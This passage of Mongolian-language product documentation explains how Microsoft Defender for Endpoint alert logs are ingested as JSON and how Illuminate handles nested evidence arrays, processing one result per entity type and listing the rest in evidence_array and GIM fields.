Microsoft Defender for Endpoint нь дээр үзүүлсэн шиг сэрэмжлүүлгийн логийг JSON форматаар оруулдаг Microsoft Defender for Endpoint input-ийг ашигладаг. Энэ input-ийн тохиргооны талаар Microsoft Defender for Endpoint Input хэсгээс үзнэ үү.
Illuminate үүрлэсэн массивуудыг (nested arrays) тусгай аргаар боловсруулдгийг анхаарна уу. Evidence-ийн entityType бүрийн (Process, User, IP, File, URL) хувьд Illuminate нь entityType тус бүрд зөвхөн нэг үр дүнг боловсруулна. Гэсэн хэдий ч нэмэлт үр дүнг evidence_array болон GIM-ийн тусгай талбарууд (user_name, file_name, file_path гэх мэт)-аас харж болно.
